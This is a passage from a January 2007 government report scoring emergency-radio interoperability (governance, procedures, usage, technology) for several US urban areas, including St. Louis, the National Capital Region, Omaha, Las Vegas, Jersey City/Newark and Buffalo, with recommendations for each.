20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-53
January 2007
Tactical Interoperable Communications Scorecards
did not include SOPs of major city agencies for mutual aid responses in their home area) were raised by evaluators
during the TICP validation exercise, the use of the interoperable equipment was largely successful. Kansas City
officials indicated that they were in the process of implementing the National Incident Management System
(NIMS)/Incident Command System (ICS). The use of NIMS for command and control, including the use of the
Communications Unit Leader, was effective at the sites where it was required during the exercise.
Recommendations:
•
Continue to standardize SOPs regionwide (e.g., activation procedures)
•
Disseminate the SOPs (beyond the TICP) to participating agencies
•
Initiate basic and advanced training and exercises on SOPs (include communications unit implementation
consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS
compliance
Usage: Established Implementation
15%
20%
20%
20%
The Kansas City UA uses a number of different shared systems for multi-agency communications interoperability.
Communications across these systems is achieved through the regular use of gateways and state and federal mutual aid
channels. Successful tactical interoperable communications was observed among responders at each of the three TICP
validation exercise sites. Some difficulties were encountered with the use of communications interoperability
equipment, but in each case, personnel were able to overcome these problems. For example, when problems occurred
in activating a gateway at one site, agencies used radio caches to achieve communications interoperability. In regards to
shared channels, agencies were able to demonstrate familiarity with the use of mutual aid channels; however the After
Action Report noted that “inconsistent naming conventions caused some confusion on the part of some of the regional
first responders.” Building on the TICP validation exercise, future tests should consider testing users outside of their
existing coverage area as well as bringing in additional state, federal, and support organizations.
Recommendations:
•
Involve state and federal agencies in training and exercises
•
Plan and train for a regionwide event that will involve disparate systems with users working outside of their
coverage area
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Kansas City UA has various 800 megahertz (MHz), 700 MHz, very high frequency (VHF) and ultra high frequency
(UHF) radio communications systems throughout the UA. Communications interoperability is achieved through cached
radios, gateways, shared channels, and shared systems. The Kansas City UA is planning to establish a multiband (800
MHz, 700 MHz, VHF, and UHF) regionwide radio communications system, called RAMBIS, to provide
communications interoperability. The communications system’s infrastructure will operate in simulcast mode. The
default configuration will allow the calling channels for 800 MHz, VHF, and UHF to be interconnected and act as
crossband repeaters. Similarly, in the default configuration, channels designated TAC1 and TAC2 for all bands will be
interconnected.
Urban/Metropolitan Area
A-54
January 2007
Tactical Interoperable Communications Scorecards
St. Louis, MO
Tactical Interoperable Communications Scorecard
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Intermediate
Implementation
The St. Louis Urban Area (UA) includes the following jurisdictions in Missouri: City and County of Saint
Louis, Franklin County, Jefferson County, and Saint Charles County. The UA also includes the jurisdictions
in Illinois: Saint Clair County, Madison County, and Monroe County.
Governance: Intermediate Implementation
10%
10%15%
15%
The St. Louis Area regional Response System (STARRS) was formed before the Tactical Interoperable
Communications Plan (TICP) process and includes state and federal agencies; it also works to actively
recruit new members throughout the UA. While STARRS appears well established with four subcommittees
(technical, channel programming, training and exercises, and planning/TICP), steps should be taken to
formalize the group’s authority and influence through an official charter. Currently, individual organizations
develop and maintain their own budgets and procure communications equipment based on agency-specific
needs for day-to-day communications interoperability requirements. It appears that the jurisdictions may be
jointly funding some interoperability requirements (e.g., specialty teams, task force), but the documentation
does not indicate whether the UA is working toward a long-term funding plan based on regional
interoperable communications needs. The majority of the current funding is through grants. The UA is in the
process of developing an interoperability strategic plan (beyond the operational focus of the TICP), but it is
not yet completed. Although the specific documentation put forth in the TICP process did not reference a
specific working partnership across the entire UA (e.g., Missouri and Illinois), officials in the UA report that
a healthy, cooperative environment is in place to address multistate planning.
Recommendations:
•
Consider publishing a charter for the STARRS group
•
Review agreements (e.g., memoranda of understanding) every 3 to 5 years and after significant events or
system upgrades
•
Encourage planning and development of a strategic plan (beyond the operational focus of the TICP) with
participant approval, adoption, and acceptance; align local and state strategic planning efforts to ensure
that regional interoperability needs are met
•
Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years)
interoperability planning and sustainable funding
•
Consider the direct involvement of a high-level official (e.g., mayor, city council member) with political
and fiscal authority to specifically focus on interoperability
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The St. Louis UA has communications equipment policies and procedures in place that were developed by
the State Interoperability Executive Committee, as well as the Department of Justice (DoJ) 25 Cities project.
10%
10%15%
15%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-55
January 2007
Tactical Interoperable Communications Scorecards
These policies and procedures were used as the basis to create the TICP. Although the St. Louis UA
distributed SOPs during its TICP Implementation Workshop, further steps should be taken to disseminate the
regional communications interoperability policies and procedures to all public safety agencies. The St. Louis
UA has been practicing the interoperable communications aspects required by the National Incident
Management System (NIMS)/Incident Command System (ICS) for more than 1 year; however, the agencies
experienced some command and control problems during the TICP validation exercise (e.g., multiple
command posts, improperly identified Communications Unit Leader).
Recommendations:
•
Distribute regional communications interoperability SOPs (beyond the TICP Implementation Workshop)
to all stakeholders and ensure that SOPs are consistent with regional, statewide, and interstate
communications interoperability planning efforts
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
The St. Louis UA appears to be capable of employing interoperable communications capabilities in the area
(e.g., radio caches, shared channels, gateways, shared systems). According to the After Action Report, the
UA’s “local and regional first responders on the scene were able to communicate effectively.” During the
TICP validation exercise, however, there were difficulties in executing some of these capabilities. For
example, the participants misused shared channels assigned for other functions and the incident command
resorted to using cellular telephones to communicate. Additionally, the participants were not able to
establish a gateway patch because of an audio level issue that was not able to be resolved.
Recommendations:
•
Expand methods of interoperability for emergency communications (to include more than commercial
services such as cellular telephones)
•
Regularly test and exercise the deployment of regional communications interoperability resources to
improve proficiency of operations (e.g., radio cache, shared channels, mobile gateway)
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The St. Louis UA is served by a mix of conventional very high frequency (VHF), ultra high frequency, and 800
megahertz (MHz) trunked systems. Approximately 80 percent of the users in the public safety sector operate in the
VHF band. The County of St. Louis uses a conventional VHF system while the City of St. Louis operates an 800 MHz
trunked system. St. Clair County is currently transitioning to a countywide Project 25-compliant, 800 MHz, trunked
system. The most commonly used method of interoperability is sharing channels in the VHF band; however, some
agencies use console patches. Three interoperable communications initiatives are currently underway in the St. Louis
UA. The first is the deployment of a “network switch” in the city of St. Louis to connect disparate systems via
gateways. The second initiative is to develop a high-capacity microwave backbone that will link all of the UA counties.
The third initiative, under the DoJ 25 Cities project, is to create a permanent cross-banded system among shared VHF,
UHF, and National Public Safety Policy Advisory Committee channels.
Urban/Metropolitan Area
A-56
January 2007
Tactical Interoperable Communications Scorecards
National Capital Region
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Advanced Implementation
The National Capital Region (NCR) Urban Area (UA) includes the District of Columbia. It also includes the
Virginia city of Alexandria; and the Virginia counties of Arlington, Fairfax, Loudoun, and Prince William;
and the Maryland counties of Montgomery and Prince George's.
Governance: Advanced Implementation
Interoperability in the NCR UA is overseen by a hierarchy of formalized committees, headed by the Senior
Policy Group at the executive level. The Washington Council of Governments’ Joint Police and Fire
Communications Committee addresses specific technical and operational policies. Agreements among
agencies are largely in place and are being compiled, and steps should be taken to ensure that these
agreements are regularly reviewed. An established strategic plan for voice communications was developed
and is currently being updated to incorporate wireless data communications, as well as to include additional
state and federal agencies. The NCR UA has demonstrated success in using funding to address regional
communications interoperability needs, most notably through the joint acquisition and implementation of a
cache of 1,250 NCR radios. Given the sustained success of the UA in working together to attain
interoperability assets through cooperated efforts, the area should consider the merits of documenting a
regionwide funding strategy that comprehensively addresses regional interoperability fiscal needs for the
next 3 to 5 years.
Recommendations:
•
Investigate means to more formally involve federal agencies (in addition to communications working
group membership) and define their roles and responsibilities
•
Establish and/or identify the UA’s systematic process to develop and review agreements (e.g., usage
agreements, memoranda of understanding) at least every 3 to 5 years and after significant events or
upgrades
•
Build on the UA’s success to support statewide interoperability throughout Virginia and Maryland
Standard Operating Procedures (SOP): Advanced Implementation
The policies for use of the NCR UA shared systems, as well as the Metropolitan Interoperability Radio
System (MIRS) fixed gateway system and NCR radio cache, are long established and were effectively
documented in Section 3 of the Tactical Interoperable Communications Plan (TICP). The UA used the TICP
as an opportunity to enhance some of these policies and to disseminate them to all included agencies. The
UA also undertook an aggressive effort to document communications assets in the area through the use of the
CASM tool. National Incident Management System (NIMS)/Incident Command System (ICS) has been in
place for more than 1 year and is proficiently used; particularly by the fire community. NIMS/ICS was
effectively used during the TICP validation exercise, including a successful deployment of the
Communications Unit and Communications Unit Leader (COML). The COML was able to efficiently
deploy multi-agency resources and coordinated by radio and face-to-face with command and general staff.
Urban/Metropolitan Area
A-57
January 2007
Tactical Interoperable Communications Scorecards
The area is committed to integrating the COML position into its response structure and officials have
indicated that they hope to be actively involved in the development of this training curriculum.
Recommendation:
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The NCR UA conducts multidiscipline and multijurisdictional communications across the area on a daily
basis. The well-established use of their shared systems by primary first responders as well as proficiency of
using MIRS and the regional radio cache for outside agencies was seamlessly demonstrated during the TICP
validation exercise. The UA specifically verified that its personnel could achieve interoperable
communications using fixed gateways with responders from Prince George’s County, which is the only
county not currently using a 800 megahertz (MHz) system. Communication was also achieved with multiple
state and federal agencies.
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises and include
agencies outside of the defined UA
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The NCR UA has 25 separate communications systems in the area servicing public safety agencies in the District of
Columbia, northern Virginia, and Maryland. The District of Columbia Fire and Emergency Medical Services, all of the
suburban northern Virginia, and Maryland public safety agencies (except those in Prince George’s County, Maryland)
are using separate but interconnected 800 MHz Motorola SmartZone™ systems. Regional interoperability is primarily
achieved through the use of shared systems, fixed gateways, shared channels, talk groups, and cached radios. The fixed
gateways interconnect the NCR Police Mutual Aid Radio System, the Fire Mutual Aid Radio System, and National
Public Safety Policy Advisory Committee channels (known locally as the regional Interoperability Network System).
Mobile gateways are only used on an incident-specific basis.
The NCR UA anticipates migrating existing radio systems to a Project 25 (P25)-compliant system in the near future.
Alexandria and Arlington, Virginia, are expected to upgrade their existing systems to become P25-compliant, and a new
P25-compliant radio network will be deployed in Prince George’s County, Maryland. Other jurisdictions in the NCR
UA will have to make similar upgrades in order to ensure effective communications are maintained throughout the area.
In the long-term, the NCR UA is considering expanding to include the cities of Baltimore, Maryland, and Richmond,
Virginia. The UA expansion will require extending the capabilities of regional radio systems and interoperability
capabilities to these new areas.
Urban/Metropolitan Area
A-58
January 2007
Tactical Interoperable Communications Scorecards
Omaha, NE
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Established Implementation
The Omaha Urban Area (UA) includes Douglas, Sarpy, and Washington counties located in eastern
Nebraska.
Governance: Intermediate Implementation
10%
10%15%
15%
The Omaha UA appears to work very well together, although there are few formal and established processes.
Agreements consist of a combination of formal and informal partnerships (e.g., Douglas County has an
agreement with Washington County and its public utilities to use their system), and the governing body, as
referenced in the Tactical Interoperable Communications Plan (TICP), does not appear to have formal state
or federal participation. The TICP process has pointed out the need to have a strategic plan in place, and
Omaha officials have begun this development process over the last year and a half. Regional leaders have
made communications interoperability a funding priority by using general funds and bonds for equipment
and operations and maintenance activities. Additionally, the UA maintains budgets and procures
communications interoperability equipment taking interoperability across the tri-county area into
consideration. The UA is encouraged to begin considering long-term funding strategies beyond the current
bond initiative in order to achieve the area’s interoperability objectives.
Recommendations:
•
Formalize state (i.e., Nebraska Emergency Management Agency) and federal participation (e.g., Federal
Bureau of Investigation [FBI], Department of Defense) within the UA’s communications group(s)
•
Continue to meet regularly and proactively recruit new participants from additional agencies representing
various levels of government and public support disciplines
•
Identify all necessary participants and establish regional agreements (e.g., memoranda of understanding),
as appropriate
•
Encourage full development of the strategic plan and obtain acceptance from all participants
•
Consider enhancing regional communications interoperability funding strategy to include long-term
(e.g., 3 to 5 years) funding sources (in addition to bonds and grants)
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The TICP provides the first regional communication SOPs for the Omaha UA and is built on the prior
procedures that existed among some of the individual agencies. Although most agencies in the UA were
represented in the TICP, few steps appear to have been taken to disseminate these policies. Although the
shared system and console patch infrastructure has simplified interoperability policies (particularly if Sarpy
joins the Douglas system), formal SOPs are still critical to successfully establish interoperable
communications. The Omaha UA did not consistently demonstrate SOPs during the TICP validation
exercise (e.g., deactivation of gateway patches did not follow TICP procedures). The Omaha UA is in the
process of implementing the National Incident Management System (NIMS)/Incident Command System
(ICS). In the on-going efforts to integrate these command policies, Omaha UA had some problems with
10%
10%15%
15%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-59
January 2007
Tactical Interoperable Communications Scorecards
NIMS/ICS during the TICP validation exercise (e.g., Incident Commander was not universally
communicated to exercise participants, Communications Unit Leader was not announced over the radio).
Recommendations:
•
Update the TICP to include After Action Report recommendations and to address SOP issues (i.e.,
activation/deactivation of gateways, radio cache tracking procedures, and shared channel usage)
•
Continue to establish and implement formal SOPs within the UA (outside of Douglas County) and
distribute appropriately
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20% 20%
Interoperability solutions (e.g., shared channels, shared systems and gateways [console patches]) are used on
a regular basis in the UA for drug task forces and mutual aid events. Omaha officials indicated that joint
drug task forces occur among Sarpy, Douglas, and Washington counties, and shared channels are used to
effectively provide interoperable communications. In carrying out the TICP validation exercise, the Omaha
UA showed effective command and line-level communications across multiple local jurisdictions and
disciplines (e.g., the Mobile Command Center successfully communicated using shared channels to both
Washington and Sarpy Counties). However, some technical and procedural issues were encountered with
multiple categories of interoperable equipment (e.g., radio labeling and programming issues that did not
match the fleet map) that did not allow the area to seamlessly use all applicable types of interoperable
communications assets. While the exercise met the stated requirements, it did not provide the opportunity to
demonstrate interoperable communications with state and federal agencies (e.g., Nebraska Emergency
Management Agency, FBI) in the area. The UA is encouraged to build on its local exercise success by
further integrating state, federal and support agencies in future events.
Recommendations:
•
Recommend additional training on how to use radios and available channels
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Omaha UA has two 800 megahertz trunked radio systems with 30 shared talk groups available for all public safety
agencies. All public safety agencies in the UA are on these two systems. There are five conventional interoperable talk
groups that are shared between the two systems. Sarpy County has its own system, while Washington County is using
the Douglas County System, which meets the Project 25 (P25) compliance. There are multiple console patches and
Raven fixed gateways for interoperability with ultra high frequency and both high- and low-band very high frequency
systems.
Regional communications systems are the accepted method of interoperability in this UA. The Douglas County P25
system is likely to be expanded into Pottawattamie County, Iowa. Sarpy County is planning to obtain funding to join
the Douglas County P25 System or purchase its own communications system. The Douglas County System is
upgrading to Motorola's new 7.x technology that will support integrated voice and data communications.
Urban/Metropolitan Area
A-60
January 2007
Tactical Interoperable Communications Scorecards
Las Vegas, NV
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Established Implementation
The Las Vegas Urban Area (UA) includes the City of Las Vegas, as well as jurisdictions within Clark
County.
Governance: Advanced Implementation
The regional Communications Steering Committee has been in place for 20 years and has taken key steps
toward communications interoperability since its formation (e.g., established processes for developing and
formalizing memoranda of understanding). The Committee supports the Urban Area Working Group on
communications issues, and oversaw the development of the Tactical Interoperable Communications Plan
(TICP). There are a number of formal agreements among member agencies, and the area has been very
effective in proactively including public support discipline, state, and federal agencies in the governance
process (e.g., Committee recruitment from hotel and casino security chiefs association, area hospitals, school
districts, bus drivers). The Las Vegas UA has an established strategic plan for interoperability that has been
accepted by all necessary agencies and is regularly reviewed. The Las Vegas UA indicated that budgets
were developed based on regional strategic goals and used a variety of funding sources, including operating
accounts, subscriptions, and capital funds, as well as grants. Regional leaders, including the chairman of the
Urban Area Working Group, have made interoperable communications a priority and are actively engaged in
all aspects of interoperability.
Recommendations:
•
Reference existing agreements in future communications plans (e.g., updated TICP or regional
communications plans)
•
Align local and state strategic planning efforts to ensure that region wide interoperability needs are met
Standard Operating Procedures (SOP): Advanced Implementation
The Las Vegas UA has successfully developed and implemented local communications interoperability
procedures prior to the development of the TICP (e.g., through Southern Nevada Area Communications
Council [SNACC] efforts), and the SOPs have been fully incorporated into the TICP. The UA is also
developing further regionwide communications interoperability SOPs to include agencies beyond first
responders and communications interoperability assets not captured initially; and plans to incorporate these
additional SOPs into an updated TICP. The Las Vegas UA should be commended for taking aggressive
steps in disseminating these policies (e.g., providing to all agencies and dispatch center; storing applicable
SOPs with radio caches and gateways). The TICP validation exercise demonstrated the successful use of all
applicable communications interoperability SOPs developed for the UA (e.g., the activation and deactivation
procedures for radio caches were accurately followed). The National Incident Management System
(NIMS)/Incident Command System (ICS) has been implemented in the Las Vegas UA SOPs for more than a
decade, and the successful use of these procedures (including the Communications Unit Leader [COML]
position) were also fully demonstrated during the Las Vegas TICP validation exercise (e.g., a COML was
designated and announced to all relevant personnel).
15%
20%
20%
20%
Urban/Metropolitan Area
A-61
January 2007
Tactical Interoperable Communications Scorecards
Recommendations:
•
Update the TICP to include all available assets for interoperability (e.g., Federal Bureau of Investigation
and University of Nevada Las Vegas gateways)
•
Ensure that regional interoperability SOPs (beyond the TICP) are fully developed through a
comprehensive interoperability plan beyond first responders (e.g., public health, hospitals)
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Las Vegas UA regularly uses three major shared systems to conduct multi-agency communications.
Because these systems operate on disparate bands and technologies, shared channels and a fixed gateway are
used on a daily basis to address multijurisdictional needs. Despite this regular use of interoperable solutions
and effective demonstration of interoperable communications, some problems were encountered during the
TICP validation exercise (e.g., the use of the command channel for tactical operations units; no gateway use
demonstrated). These problems may have been a result of the limited scope of the TICP validation exercise,
which did not necessitate the use of a gateway devise, despite the fact that this is a standard interoperability
tool used in the UA.
Recommendations:
•
Include gateways in future training and exercises to demonstrate proficiency
•
Consider including additional state and federal agencies (e.g., Department of Energy) in future exercises
and day-to-day use
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area's existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Las Vegas UA consists of three primary communication systems that most of the agencies in the UA use. The
SNACC 800 megahertz (MHz) trunked system operates throughout Clark County supporting most of the city and
county agencies. The Las Vegas Police Department (LVPD) uses a conventional very high frequency (VHF) system
called the METRO system. The METRO system uses crossband repeaters to link mutual aid channels VHF VTAC to
800 MHz ITAC and VHF VCALL to 800 MHz ICALL within the UA. State agencies and Nevada Power primarily use
an 800 MHz M/A-COM Enhanced Digital Access Communications System ProVoice system that serves the majority of
the state. There are also separate systems that cities such as North Las Vegas and Boulder Junction primarily use.
The LVPD recently awarded a contract to M/A-COM to deploy a 700/800 MHz OpenSky communication system for
support of the agency’s voice and data needs. Because the statewide system is also a M/A-COM product, the LVPD
will be able to share communications interoperability with state users.
Urban/Metropolitan Area
A-62
January 2007
Tactical Interoperable Communications Scorecards
Jersey City, NJ
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Jersey City/Newark Urban Area (UA) is a combination of two formerly separate UAs—Jersey City UA
and Newark UA. The newly combined UA includes the cities of Newark and Jersey City, and the counties of
Essex, Hudson, Bergen, Morris, Passaic, and Union.
Governance: Established Implementation
15%
20%
20%
20%
The Jersey City/Newark UA has a strong governance structure closely tied to the State of New Jersey.
Communications in the UA are governed by the Urban Area Security Initiative (UASI) Interoperability
Subcommittee, which is a formalized group within the UASI structure. The UA has formalized agreements
across the first responder agencies, with every agency signing a memorandum of understanding for
regionwide communications interoperability. In addition, agencies such as the Port Authority of New York
and New Jersey, the New Jersey Department of Health, and the U.S. Coast Guard have been included in the
Interoperability Subcommittee and agreement process. The state legislature mandated strategic
interoperability planning 3 years ago, although no plan has been adopted yet by participating agencies. The
UA obtains the majority of their funding from federal grants. Currently, individual organizations develop
and maintain their budgets and procure communications equipment with consideration for interoperability
throughout the UA. However, the UA should encourage the participating organizations to develop a long-
term strategy to determine or identify diversified or sustained funding that aligns with the regional strategic
plan, which is under development. The Jersey City/Newark UA receives support from their leadership to
obtain funding (e.g., executive committee allocated funding when the UA needed to address problems with
in-building coverage).
Recommendations:
•
Continue to be proactive in education efforts across stakeholders (e.g., distribute information through
speaking engagements, distribute information pamphlets on communications interoperability)
•
Encourage all participating agencies to fully adopt the strategic plan
•
Encourage the development of a regional interoperability funding strategy, including long-term (e.g., 3 to
5 years) funding sources that can help leverage costs across jurisdictions (in addition to grants)
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Tactical Interoperable Communications Plan (TICP) incorporated interoperability policies and
procedures that had been in place for two and a half years, and on which there was regular training and
usage. Most agencies participated in the TICP process, and since that time, further steps have been taken to
disseminate the regional SOPs (e.g., distributed to included organizations and dispatch centers, made
gateway SOPs available with gateways). The use of equipment SOPs was successfully demonstrated during
the TICP validation exercise, and as noted in the After Action Report “[t]he street force demonstrated
superior understanding of the TICP, only a week after its formal approval and implementation.” The
exercise did expose minor gaps (e.g., setting up a unified command that didn’t include all of the participating
agencies) in the use of the National Incident Management System (NIMS)/Incident Command System (ICS),
15%
20%
20%
20%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-63
January 2007
Tactical Interoperable Communications Scorecards
which has been in place in the UA for less than 1 year. The UA does, however, exclusively use plain
language as required in NIMS/ICS.
Recommendations:
•
Continue awareness and understanding of policies and procedures across all agencies
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Jersey City/Newark UA uses its shared ultra high frequency (UHF) channels on a weekly basis to
provide communications interoperability and regularly deploys and uses radio caches and gateways. The
Jersey City/Newark UA did well with the use of available communications interoperability equipment during
the TICP validation exercise. Some minor training issues were encountered during the exercise; for example
the traffic units were discussing road closures on the same shared channel that the COML was performing a
radio check until a dispatcher intervened. Overall, evaluators of the exercise noted that “users were
proficient with the use of UTAC4, ITAC5, and OEM2 as shared channels” and “the gateway technician was
proficient with the setup and use of the system.”
Recommendations:
•
Recommend additional training on how to use radios and available channels
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Jersey City Police Department operates a radio system with five UHF conventional channels. The Jersey City Fire
Department radio system uses two UHF conventional channels. The Newark Police Department uses a conventional
UHF radio system, and the Newark Fire Department uses a conventional very high frequency (VHF) radio system.
Newark Emergency Medical Services (EMS) is also operating a radio system on the VHF band. All agencies can use
the Essex County Sheriff’s Radio System (UHF/VHF) for interoperability. All agencies also have access to the New
Jersey Interoperability Communications System, which has eight 800 megahertz channels and nine VHF channels.
Jersey City is in the process of implementing a UHF trunked radio system for police, fire, and EMS. Estimated
completion date is the end of calendar year 2007. In Newark, there is the possibility of implementing an Essex County
trunked system to cover all agencies in the county, if funding issues can be resolved.
Urban/Metropolitan Area
A-64
January 2007
Tactical Interoperable Communications Scorecards
Newark, NJ
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Jersey City/Newark Urban Area (UA) is a combination of two formerly separate UAs—Jersey City UA
and Newark UA. The newly combined UA includes the cities of Newark and Jersey City, and the counties of
Essex, Hudson, Bergen, Morris, Passaic, and Union.
Governance: Established Implementation
15%
20%
20%
20%
The Jersey City/Newark UA has a strong governance structure closely tied to the State of New Jersey.
Communications in the UA are governed by the Urban Area Security Initiative (UASI) Interoperability
Subcommittee, which is a formalized group within the UASI structure. The UA has formalized agreements
across the first responder agencies, with every agency signing a memorandum of understanding for
regionwide communications interoperability. In addition, agencies such as the Port Authority of New York
and New Jersey, the New Jersey Department of Health, and the U.S. Coast Guard have been included in the
Interoperability Subcommittee and agreement process. The state legislature mandated strategic
interoperability planning 3 years ago, although no plan has been adopted yet by participating agencies. The
UA obtains the majority of their funding from federal grants. Currently, individual organizations develop
and maintain their budgets and procure communications equipment with consideration for interoperability
throughout the UA. However, the UA should encourage the participating organizations to develop a long-
term strategy to determine or identify diversified or sustained funding that aligns with the regional strategic
plan, which is under development. The Jersey City/Newark UA receives support from their leadership to
obtain funding (e.g., executive committee allocated funding when the UA needed to address problems with
in-building coverage).
Recommendations:
•
Continue to be proactive in education efforts across stakeholders (e.g., distribute information through
speaking engagements, distribute information pamphlets on communications interoperability)
•
Encourage all participating agencies to fully adopt the strategic plan
•
Encourage the development of a regional interoperability funding strategy, including long-term (e.g., 3 to
5 years) funding sources that can help leverage costs across jurisdictions (in addition to grants)
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Tactical Interoperable Communications Plan (TICP) incorporated interoperability policies and
procedures that had been in place for two and a half years, and on which there was regular training and
usage. Most agencies participated in the TICP process, and since that time, further steps have been taken to
disseminate the regional SOPs (e.g., distributed to included organizations and dispatch centers, made
gateway SOPs available with gateways). The use of equipment SOPs was successfully demonstrated during
the TICP validation exercise, and as noted in the After Action Report “[t]he street force demonstrated
superior understanding of the TICP, only a week after its formal approval and implementation.” The
exercise did expose minor gaps (e.g., setting up a unified command that didn’t include all of the participating
agencies) in the use of the National Incident Management System (NIMS)/Incident Command System (ICS),
15%
20%
20%
20%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-65
January 2007
Tactical Interoperable Communications Scorecards
which has been in place in the UA for less than 1 year. The UA does, however, exclusively use plain
language as required in NIMS/ICS.
Recommendations:
•
Continue awareness and understanding of policies and procedures across all agencies
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Jersey City/Newark UA uses its shared ultra high frequency (UHF) channels on a weekly basis to
provide communications interoperability and regularly deploys and uses radio caches and gateways. The
Jersey City/Newark UA did well with the use of available communications interoperability equipment during
the TICP validation exercise. Some minor training issues were encountered during the exercise; for example
the traffic units were discussing road closures on the same shared channel that the COML was performing a
radio check until a dispatcher intervened. Overall, evaluators of the exercise noted that “users were
proficient with the use of UTAC4, ITAC5, and OEM2 as shared channels” and “the gateway technician was
proficient with the setup and use of the system.”
Recommendations:
•
Recommend additional training on how to use radios and available channels
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Jersey City Police Department operates a radio system with five UHF conventional channels. The Jersey City Fire
Department radio system uses two UHF conventional channels. The Newark Police Department uses a conventional
UHF radio system, and the Newark Fire Department uses a conventional very high frequency (VHF) radio system.
Newark Emergency Medical Services (EMS) is also operating a radio system on the VHF band. All agencies can use
the Essex County Sheriff’s Radio System (UHF/VHF) for interoperability. All agencies also have access to the New
Jersey Interoperability Communications System, which has eight 800 megahertz channels and nine VHF channels.
Jersey City is in the process of implementing a UHF trunked radio system for police, fire, and EMS. Estimated
completion date is the end of calendar year 2007. In Newark, there is the possibility of implementing an Essex County
trunked system to cover all agencies in the county, if funding issues can be resolved.
Urban/Metropolitan Area
A-66
January 2007
Tactical Interoperable Communications Scorecards
Buffalo, NY
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Established Implementation
The Buffalo Urban Area (UA) includes the City of Buffalo, and the counties of Erie and Niagara.
Governance: Established Implementation
15%
20%
20%
20%
The UA’s Interoperable Communications Committee was formed in 2006 and is taking steps to establish
interoperability as a priority within the area. For example, the decision-making group is formalized (with
subcommittees devoted to technology, operations, and governance) and includes federal partners. The group
is working to reach out to additional public safety (e.g., emergency medical services [EMS]) and state
agencies, as demonstrated through its partnership with the New York State Wireless Network for which
Buffalo has been selected as the primary regional buildout. In addition, it appears that local and county
elected officials are promoting the Urban Area Working Group’s interoperable communications efforts (e.g.,
the Mayor of Buffalo participates on the committee). Regional, published interoperable communications
agreements are included in the Tactical Interoperable Communications Plan (TICP), which is being
disseminated to applicable agencies. The publication of a regional strategic plan, which is under
development, would represent the next step in advancing interoperable communications governance across
the area. Additional steps, including addressing a longer term funding strategy to identify diversified or
sustainable funding sources, would help the Buffalo UA budget for the future system and additional regional
interoperable communications needs.
Recommendations:
•
Continue to expand subcommittee and working group membership to appropriate disciplines and levels
of government (e.g., EMS, state, and federal representation) while continuing to document and formalize
the necessary interoperability agreements (e.g., memoranda of understanding) with members
•
Finalize and publish the existing regional strategic plan; align local and state strategic planning efforts to
ensure that regional interoperability needs are met
•
Continue the development and implementation of a regional approach to long-term (e.g., 3 to 5 years)
interoperability planning and sustainable funding
•
Continue to involve government leadership on issues of communications interoperability and encourage
long-term regional funding plans
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The TICP provided the first regional communications interoperability SOPs for the Buffalo UA, which
